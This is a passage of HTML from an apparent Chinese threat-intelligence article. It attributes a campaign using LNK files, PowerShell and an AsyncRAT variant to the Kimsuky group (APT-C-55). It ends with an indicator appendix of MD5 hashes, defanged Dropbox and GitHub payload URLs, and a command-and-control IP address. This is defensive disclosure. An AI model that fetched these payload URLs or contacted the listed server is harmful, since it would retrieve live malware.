BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这和以往攻击方式类似。</span></font></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">l</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">nk</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">读取自身数据解密出诱饵文档以及使用</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">p</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">o</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">wershell脚本执行</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">C#</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">程序的方式也和该组织以往利用方式符合，并且</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AsyncRAT变体在该组织之前的攻击活动中也被使用过</span><sup><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[</span></font></sup><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2]</span></sup><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4.样本上传地为韩国地区，分析受害者信息我们发现和之前攻击行动存在相同受害者。</span></font></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综上，</span></font></span><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">我们较有把握</span></font></span><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将本轮攻击行动归属到</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-55（</span></span><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Kimsu</span></font></span><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ky）组织。</span></span></p><div data-role="outer" style="margin-right: 0px;margin-left: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin-right: 0px;margin-left: 0px;padding: 0px;box-sizing: border-box;"><div style="margin-right: 0px;margin-left: 0px;padding: 0px;box-sizing: border-box;"><div style="margin-right: 0px;margin-left: 0px;padding: 0px;display: flex;box-sizing: border-box;transform: rotate(0deg);"><p data-brushtype="text" style="margin-right: 0px;margin-left: 0px;padding: 0px 1em;color: rgb(242, 242, 242);height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;box-sizing: border-box;"><strong style="margin-right: 0px;margin-left: 0px;padding: 0px;"><span style="margin-right: 0px;margin-left: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin-right: 0px;margin-left: 6px;padding: 30px 15px 10px;background-color: rgb(242, 242, 242);flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin-right: 0px;margin-left: 0px;padding: 0px;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin-right: 0px;margin-left: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="background-color: rgb(242, 242, 242);flex-shrink: 0;letter-spacing: 1.5px;font-size: 17px;margin: 0px 0px 8px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><span leaf="">本次攻击中Kimsuky组织通过滥用合法平台作为通信与分发通道，下发恶意载荷并回传窃取数据，从而有效规避了传统基于特征与流量行为的网络检测与响应（NDR）机制。这类“以合法掩护恶意”的方式，使攻击流量在表面上与正常业务通信高度相似，大幅降低了被识别与拦截的概率。同时，攻击者采用插件化、模块化的木马架构，在初始入侵后可按需动态加载不同功能模块（如信息窃取、横向移动等），从而实现更隐蔽且灵活的攻击流程。</span></p><p style="text-indent: 2em;margin-top: 0px;margin-bottom: 8px;"><span leaf="">此外本文披露的相关恶意代码、C&amp;C只是APT-C-55组织近期部分攻击过程中的所使用的载荷，该组织不会因为一次攻击行动的暴露而停止活动，反而会持续更新其载荷。在这里提醒用户加强安全意识，不要执行未知样本、点击来历不明的链接等，否则容易在毫无防范的情况下被攻陷，进而泄漏机密文件、重要情报。</span></p></div></div></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5:</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">ba8e682a72c6a3e634c070f0fb057bf5</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">bd17b8b10675031cec05c0cd8a001fac</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">0d8ceb7dea7d471afa2f8e753b13d2d6</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">d9d7d5feb2abc828b58142fc63509d80</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">e0e4aec6d494fe68cdaa52d6878a8366</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">b406ea5b8628cb7801f47c0189b96182</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">23da5ff2ed7bd4ac5a2a148afc037b6a</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">45b6b7dadc13e4a4cc30dd82eb58c3ed</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">73ff669fc282653bd6c42cf87ade9337</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">02ebc2356f9f700bbdac444cdefa0da2</span></span></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">849ddfdba810b251522690d51475a359</span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">IOC:</span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&amp;st=ip1rnvm2&amp;dl=0" target="_blank">https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&amp;st=ip1rnvm2&amp;dl=0</a></span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini" target="_blank">https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini</a></span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&amp;st=kn296823&amp;dl=1" target="_blank">https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&amp;st=kn296823&amp;dl=1</a></span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini" target="_blank">https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini</a></span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png" target="_blank">https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png</a></span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">112.216.9[.]171:3385</span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">112.216.9[.]171:7707</span></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;"><font face="等线"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">参考链接：</span></span></font></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;text-align: left;" data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">[1] </span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247504218&amp;idx=1&amp;sn=47c3680b0c07f8e130630073914a3992&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="font-size: 15px;font-weight: normal;">https://mp.weixin.qq.com/s/GzMoR8jKjelzuj5BPhpJYA</span></a></span></p><p style="text-indent: 0px;margin-bottom: 8px;margin-top: 8px;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;">[2]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: normal;"><a href="https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/" target="_blank">https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: 